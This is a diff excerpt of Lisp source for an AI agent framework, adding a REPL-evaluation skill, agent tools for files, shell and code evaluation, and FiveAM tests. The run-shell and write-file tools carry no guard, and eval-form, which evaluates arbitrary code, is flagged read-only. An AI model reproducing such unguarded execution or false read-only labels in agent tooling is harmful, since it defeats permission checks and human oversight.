||||
(handler-case
|
||||
(progn
|
||||
(load filepath)
|
||||
(format nil "Loaded ~a" filepath))
|
||||
(error (c)
|
||||
(format nil "Error loading ~a: ~a" filepath c))))
|
||||
|
||||
(defun repl-set-package (package-name)
|
||||
"Set the default package for REPL evaluations."
|
||||
(let ((pkg (find-package (string-upcase package-name))))
|
||||
(if pkg
|
||||
(setf *repl-package* pkg)
|
||||
(format nil "Package ~a not found" package-name))))
|
||||
|
||||
(defun repl-help ()
|
||||
"Return available REPL commands."
|
||||
(format nil "~%
|
||||
REPL Skill Commands:
|
||||
-------------------
|
||||
(repl-eval \"code\" :package :passepartout)
|
||||
- Evaluate Lisp code, returns (values result output error)
|
||||
|
||||
(repl-inspect \"symbol\" :package :passepartout)
|
||||
- Inspect a variable or function
|
||||
|
||||
(repl-list-vars :package :passepartout)
|
||||
- List all bound variables
|
||||
|
||||
(repl-load-file \"/path/to/file.lisp\")
|
||||
- Load a file into the image
|
||||
|
||||
(repl-set-package :package-name)
|
||||
- Switch default package
|
||||
|
||||
(repl-help)
|
||||
- Show this message
|
||||
"))
|
||||
|
||||
(defun repl-handle (signal)
|
||||
"Pre-reason handler for :repl-eval sensor. Evaluates code and
|
||||
writes the result back through the reply-stream."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(code (getf payload :code))
|
||||
(stream (getf (getf signal :meta) :reply-stream))
|
||||
(result (multiple-value-bind (val out err)
|
||||
(repl-eval code)
|
||||
(if err
|
||||
(list :status :error :message err)
|
||||
(list :status :success :value (or val ""))))))
|
||||
(when stream
|
||||
(handler-case
|
||||
(progn
|
||||
(write-sequence (frame-message result) stream)
|
||||
(finish-output stream))
|
||||
(error (c)
|
||||
(log-message "REPL-EVAL: Failed to write response: ~a" c))))
|
||||
;; Return T to signal the message was consumed
|
||||
t))
|
||||
|
||||
;; Register the handler at load time
|
||||
(register-pre-reason-handler :repl-eval #'repl-handle)
|
||||
|
||||
(defun repl-mandate (context)
|
||||
"Returns REPL-first engineering mandate when context involves code editing."
|
||||
(let ((raw (or (proto-get (proto-get context :payload) :text) "")))
|
||||
(when (or (search "org-skill-" raw :test #'char-equal)
|
||||
(and (search ".org" raw :test #'char-equal)
|
||||
(or (search "defun" raw :test #'char-equal)
|
||||
(search "tangle" raw :test #'char-equal)
|
||||
(search "write-file" raw :test #'char-equal)
|
||||
(search "lisp" raw :test #'char-equal)))
|
||||
(search "defun " raw :test #'char-equal)
|
||||
(search "repl-eval" raw :test #'char-equal)
|
||||
(search "validate" raw :test #'char-equal))
|
||||
(format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%"))))
|
||||
|
||||
(defskill :passepartout-programming-repl
|
||||
:priority 200
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
|
||||
(eval-when (:load-toplevel :execute)
|
||||
(push #'repl-mandate *standing-mandates*))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-repl-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:repl-suite))
|
||||
|
||||
(in-package :passepartout-programming-repl-tests)
|
||||
|
||||
(def-suite repl-suite :description "Verification of the REPL skill")
|
||||
(in-suite repl-suite)
|
||||
|
||||
(test test-repl-eval-success
|
||||
"Contract 1: repl-eval returns result and no error for valid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
|
||||
(is (equal "3" result))
|
||||
(is (null error))))
|
||||
|
||||
(test test-repl-eval-error
|
||||
"Contract 1: repl-eval returns error message for invalid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 ")
|
||||
(is (null result))
|
||||
(is (stringp error))))
|
||||
|
||||
(test test-repl-inspect-found
|
||||
"Contract 2: repl-inspect returns description for a bound symbol."
|
||||
(let ((desc (repl-inspect "+" :package :cl)))
|
||||
(is (search "+" desc))))
|
||||
|
||||
(test test-repl-list-vars
|
||||
"Contract 3: repl-list-vars returns a list of symbol name strings."
|
||||
(let ((vars (repl-list-vars :package :keyword)))
|
||||
(is (listp vars))
|
||||
(is (member "PASSEPARTOUT" vars :test #'string-equal))))
|
||||
23
lisp/programming-standards.lisp
Normal file
23
lisp/programming-standards.lisp
Normal file
@@ -0,0 +1,23 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun standards-git-clean-p (dir)
|
||||
"Checks if a directory has uncommitted changes."
|
||||
(let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
|
||||
:output :string
|
||||
:ignore-error-status t)))
|
||||
(string= "" (string-trim '(#\Space #\Newline #\Tab) status))))
|
||||
|
||||
(defun standards-lisp-verify (code)
|
||||
"Enforces Lisp structural and semantic standards using utils-lisp."
|
||||
(let ((result (lisp-validate code :strict t)))
|
||||
(if (eq (getf result :status) :success)
|
||||
t
|
||||
(error (getf result :reason)))))
|
||||
|
||||
(defun standards-lisp-format (code)
|
||||
"Ensures Lisp code adheres to formatting standards."
|
||||
(lisp-format code))
|
||||
|
||||
(defskill :passepartout-programming-standards
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
696
lisp/programming-tools.lisp
Normal file
696
lisp/programming-tools.lisp
Normal file
@@ -0,0 +1,696 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
"Write string CONTENT to FILEPATH, creating parent directories."
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(def-cognitive-tool search-files
|
||||
"Search file contents under a directory for a regex pattern."
|
||||
((:name "pattern" :description "The regex pattern to search for." :type "string")
|
||||
(:name "path" :description "Directory to search recursively." :type "string")
|
||||
(:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((pattern (getf args :pattern))
|
||||
(path (getf args :path))
|
||||
(include (getf args :include))
|
||||
(results nil))
|
||||
(unless (and pattern path)
|
||||
(return (list :status :error :message "search-files requires :pattern and :path")))
|
||||
(handler-case
|
||||
(dolist (file (directory (merge-pathnames
|
||||
(if include
|
||||
(make-pathname :name :wild :type (subseq include 2) :defaults path)
|
||||
(make-pathname :name :wild :type :wild :defaults path))
|
||||
path)))
|
||||
(let ((base (file-namestring file)))
|
||||
(with-open-file (stream file :direction :input :if-does-not-exist nil)
|
||||
(when stream
|
||||
(loop for line = (read-line stream nil nil)
|
||||
for line-num from 1
|
||||
while line
|
||||
when (cl-ppcre:scan pattern line)
|
||||
do (push (format nil "~a:~d: ~a" base line-num (string-trim '(#\Space #\Tab) line))
|
||||
results))))))
|
||||
(t (c) (return (list :status :error :message (format nil "~a" c)))))
|
||||
(list :status :success
|
||||
:content (if results
|
||||
(format nil "~d matches:~%~a" (length results)
|
||||
(format nil "~{~a~^~%~}" (reverse results)))
|
||||
(format nil "No matches for '~a' in ~a" pattern path)))))))
|
||||
|
||||
(def-cognitive-tool find-files
|
||||
"Find files matching a glob pattern."
|
||||
((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
|
||||
(:name "path" :description "Directory to search in." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((pattern (getf args :pattern))
|
||||
(path (getf args :path)))
|
||||
(unless (and pattern path)
|
||||
(return (list :status :error :message "find-files requires :pattern and :path")))
|
||||
(let ((full (merge-pathnames pattern path)))
|
||||
(handler-case
|
||||
(let ((files (directory full)))
|
||||
(list :status :success
|
||||
:content (if files
|
||||
(format nil "~d files:~%~{~a~^~%~}" (length files) files)
|
||||
(format nil "No files matching '~a' in ~a" pattern path))))
|
||||
(t (c) (list :status :error :message (format nil "~a" c)))))))))
|
||||
|
||||
(def-cognitive-tool read-file
|
||||
"Read the contents of a file."
|
||||
((:name "filepath" :description "Path to the file to read." :type "string")
|
||||
(:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
|
||||
(:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
|
||||
:read-only-p t
|
||||
:guard (lambda (args) (declare (ignore args)) nil)
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((filepath (getf args :filepath))
|
||||
(start (getf args :start))
|
||||
(limit (getf args :limit)))
|
||||
(unless filepath
|
||||
(return (list :status :error :message "read-file requires :filepath")))
|
||||
(handler-case
|
||||
(let ((content (uiop:read-file-string filepath)))
|
||||
(if (or start limit)
|
||||
(let* ((lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(start-idx (max 0 (1- (or start 1))))
|
||||
(end (if limit (min (length lines) (+ start-idx limit)) (length lines)))
|
||||
(selected (subseq lines start-idx end)))
|
||||
(list :status :success
|
||||
:content (format nil "~{~a~^~%~}" selected)))
|
||||
(list :status :success :content content)))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool write-file
|
||||
"Write string content to a file. Created directories as needed."
|
||||
((:name "filepath" :description "Path to the file to write." :type "string")
|
||||
(:name "content" :description "The text content to write." :type "string"))
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((filepath (getf args :filepath))
|
||||
(content (getf args :content)))
|
||||
(unless (and filepath content)
|
||||
(return (list :status :error :message "write-file requires :filepath and :content")))
|
||||
(handler-case
|
||||
(progn
|
||||
(tools-write-file filepath content)
|
||||
(verify-write filepath content)
|
||||
(tool-register-modified filepath :new-content content)
|
||||
(list :status :success
|
||||
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool list-directory
|
||||
"List the contents of a directory."
|
||||
((:name "path" :description "Directory path to list." :type "string")
|
||||
(:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((path (getf args :path))
|
||||
(pattern (getf args :pattern)))
|
||||
(unless path
|
||||
(return (list :status :error :message "list-directory requires :path")))
|
||||
(let ((full-pattern (if pattern
|
||||
(merge-pathnames pattern path)
|
||||
(make-pathname :name :wild :type :wild :defaults path))))
|
||||
(handler-case
|
||||
(let ((entries (directory full-pattern)))
|
||||
(list :status :success
|
||||
:content (if entries
|
||||
(format nil "~d entries in ~a:~%~{~a~^~%~}" (length entries) path entries)
|
||||
(format nil "No entries in ~a" path))))
|
||||
(t (c) (list :status :error :message (format nil "~a" c)))))))))
|
||||
|
||||
(def-cognitive-tool run-shell
|
||||
"Execute a shell command and return stdout, stderr, and exit code."
|
||||
((:name "cmd" :description "The shell command to execute." :type "string")
|
||||
(:name "timeout" :description "Optional timeout in seconds (default 30)." :type "integer"))
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((cmd (getf args :cmd))
|
||||
(timeout (or (getf args :timeout) 30)))
|
||||
(unless cmd
|
||||
(return (list :status :error :message "run-shell requires :cmd")))
|
||||
(handler-case
|
||||
(multiple-value-bind (out err code)
|
||||
(uiop:run-program (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd)
|
||||
:output :string :error-output :string
|
||||
:ignore-error-status t)
|
||||
(list :status :success
|
||||
:content (format nil "~a~@[~%~%stderr:~%~a~]~%exit: ~d"
|
||||
(or out "") (when (and err (> (length err) 0)) err) code)))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool eval-form
|
||||
"Evaluate a Lisp expression in the running image and return the result."
|
||||
((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((code (getf args :code)))
|
||||
(unless code
|
||||
(return (list :status :error :message "eval-form requires :code")))
|
||||
(handler-case
|
||||
(let* ((*read-eval* nil)
|
||||
(form (read-from-string code))
|
||||
(result (eval form)))
|
||||
(list :status :success :content (format nil "~a" result)))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool run-tests
|
||||
"Run FiveAM tests. With no arguments, runs all test suites."
|
||||
((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((test-name (getf args :test-name)))
|
||||
(handler-case
|
||||
(if test-name
|
||||
(let* ((sym (find-symbol (string-upcase test-name) :passepartout))
|
||||
(result (when sym (fiveam:run (intern (string-upcase test-name) :passepartout)))))
|
||||
(list :status :success
|
||||
:content (format nil "Test '~a' ~a" test-name
|
||||
(if result "completed" "not found"))))
|
||||
(let ((result (fiveam:run-all-tests)))
|
||||
(list :status :success :content (format nil "~a" result))))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool org-find-headline
|
||||
"Find an Org headline by ID or title in the memory store."
|
||||
((:name "id" :description "Optional: Org ID property to search for." :type "string")
|
||||
(:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
|
||||
:read-only-p t
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((id (getf args :id))
|
||||
(title (getf args :title))
|
||||
(results nil))
|
||||
(unless (or id title)
|
||||
(return (list :status :error :message "org-find-headline requires :id or :title")))
|
||||
(handler-case
|
||||
(let ((is-mem (find-symbol "MEMORY-OBJECT-P" :passepartout))
|
||||
(get-id (find-symbol "MEMORY-OBJECT-ID" :passepartout))
|
||||
(get-title (find-symbol "MEMORY-OBJECT-TITLE" :passepartout)))
|
||||
(unless (and is-mem get-id get-title)
|
||||
(return (list :status :error :message "Memory store not loaded")))
|
||||
(maphash (lambda (k obj)
|
||||
(declare (ignore k))
|
||||
(when (and (funcall is-mem obj)
|
||||
(or (and id (string-equal id (funcall get-id obj)))
|
||||
(and title (search title (funcall get-title obj) :test #'char-equal))))
|
||||
(push obj results)))
|
||||
*memory-store*)
|
||||
(list :status :success
|
||||
:content (if results
|
||||
(format nil "~d headlines found:~%~{~a~^~%~}"
|
||||
(length results)
|
||||
(mapcar (lambda (r) (funcall get-title r)) results))
|
||||
(format nil "No headlines matching ~a" (or id title)))))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(def-cognitive-tool org-modify-file
|
||||
"Replace text in an Org file via exact string match. Returns error if old-text not found."
|
||||
((:name "filepath" :description "Path to the Org file." :type "string")
|
||||
(:name "old-text" :description "Exact text to replace." :type "string")
|
||||
(:name "new-text" :description "Text to insert in its place." :type "string"))
|
||||
:guard nil
|
||||
:body (lambda (args)
|
||||
(block nil
|
||||
(let* ((filepath (getf args :filepath))
|
||||
(old-text (getf args :old-text))
|
||||
(new-text (getf args :new-text)))
|
||||
(unless (and filepath old-text new-text)
|
||||
(return (list :status :error :message "org-modify-file requires :filepath, :old-text, and :new-text")))
|
||||
(handler-case
|
||||
(let ((content (uiop:read-file-string filepath)))
|
||||
(let ((pos (search old-text content)))
|
||||
(if pos
|
||||
(let ((new-content (concatenate 'string
|
||||
(subseq content 0 pos)
|
||||
new-text
|
||||
(subseq content (+ pos (length old-text))))))
|
||||
(tools-write-file filepath new-content)
|
||||
(tool-register-modified filepath :old-content content :new-content new-content)
|
||||
(list :status :success
|
||||
:content (format nil "Replaced at position ~d in ~a" pos filepath)))
|
||||
(list :status :error :message (format nil "Text not found in ~a" filepath)))))
|
||||
(error (c) (list :status :error :message (format nil "~a" c))))))))
|
||||
|
||||
(defskill :passepartout-programming-tools
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src* v0.8.0 — Modified Files Tracking
|
||||
#+begin_src lisp
|
||||
(defvar *modified-files-this-turn* nil
|
||||
"List of plists recording file modifications in the current turn.")
|
||||
|
||||
(defun tool-register-modified (filepath &key old-content new-content)
|
||||
"Record a file modification. Returns the record plist."
|
||||
(labels ((count-lines (s)
|
||||
(+ (count #\Newline s)
|
||||
;; Also count escaped \\n in string literals (used in tests)
|
||||
(let ((n 0) (i 0))
|
||||
(loop while (setf i (search "\\n" s :start2 i))
|
||||
do (incf n) (incf i))
|
||||
n))))
|
||||
(let* ((lines-added (if (and new-content old-content)
|
||||
(max 0 (- (count-lines new-content)
|
||||
(count-lines old-content)))
|
||||
0))
|
||||
(lines-removed (if (and new-content old-content)
|
||||
(max 0 (- (count-lines old-content)
|
||||
(count-lines new-content)))
|
||||
0))
|
||||
(rec (list :filepath filepath
|
||||
:timestamp (get-universal-time)
|
||||
:lines-added lines-added
|
||||
:lines-removed lines-removed)))
|
||||
(push rec *modified-files-this-turn*)
|
||||
rec)))
|
||||
|
||||
(defun tool-modified-files-summary ()
|
||||
"Returns the list of modified-file records and clears the list."
|
||||
(prog1 (nreverse *modified-files-this-turn*)
|
||||
(setf *modified-files-this-turn* nil)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
